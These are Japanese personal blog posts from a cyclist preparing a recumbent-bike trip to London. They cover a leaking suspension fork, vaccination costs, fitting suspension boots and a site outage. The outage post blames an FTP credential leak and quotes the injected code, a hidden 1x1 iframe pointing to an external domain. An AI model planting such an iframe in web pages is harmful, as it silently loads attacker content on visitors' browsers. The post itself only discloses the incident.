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一日雨の中に走ったら、サスペンションフォークの上部にあるダンパーカップの隙間から水が吹き出ていることを発見しました(写真の→がさすところから)。自転車のメーカのHP Velotechnikにメールを出して、返事を待っているところです。たいした問題でないといいですけどね。
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先週予防接種の第二回のアポが無事に終わりました。今回は:
今回の総額は4万5千円でした。値段のほうが痛かった。犯人は腸チフスでした。日本国内には在庫がないから、特別輸入で一本2万5千円。あったたた。
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あ〜あ。
このホームページによくアクセスする方はお気づきだと思いますが、先週一週間14degrees.orgは動いていなかったです。原因はハッカーによる被害でした。 ハッカーがホームページの元になるHTMLファイルに不審なコードを無理やりに記入し、そのコードの存在のためホームページが動くなくなりました。
どうやってハッカーがそういう風にできたかというと、僕が使っていたFTPソフト(ファイルをパソコンからサーバーへ転送してくれるソフト)のセキュリティが薄くて、それで僕のサーバー用のパスワードとユーザ名を傍受したのではないかと思われます。
今後の対策としては、ならべくFTPソフトを使わないことと、やむをえない場合にFTPソフトを使った場合には転送の作業が終わったらすぐにパスワードを変更することかな。反省。
ちなみに、以下のコードが無理やりにファイルに追加されていた:
iframe marginwidth=”0″ marginheight=”0″ src=”http://196.regvista.com/index.php?ref=r22″ mce_src=”http://196.regvista.com/index.php?ref=r22″ width=”1″ height=”1″
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HPVelotechnik Street Machine GTeのスタンダードの仕組みにサスペンションが含まれて居ます(前と後ろ)。私はスタンダードのサスペンションをさらにアップグレードし、サスペンション・フォークのMeks Carbon AC(HPVelotechnik社)と後ろのDT-Swiss 225(超軽量)のリアーサスペンシンにしました。二つのサスペンションとも質が十分優れているように見えますが、やはりサスペンションというパーツは動くパーツなので、できるだけ守りたい。そこでサスペンション・ブーツ(カバー)を装着しました。
前のブーツは特につけにくかったです。ブーツに切り目をつける必要がありました。最初につけてみたのは左側のブーツで、なかなか上手く行かず、あまりきれいに出来上がっていないけど、実用性でいうと問題ないでしょう。
サスペンシンがロンドンまでの1万2千キロを耐え切るように!
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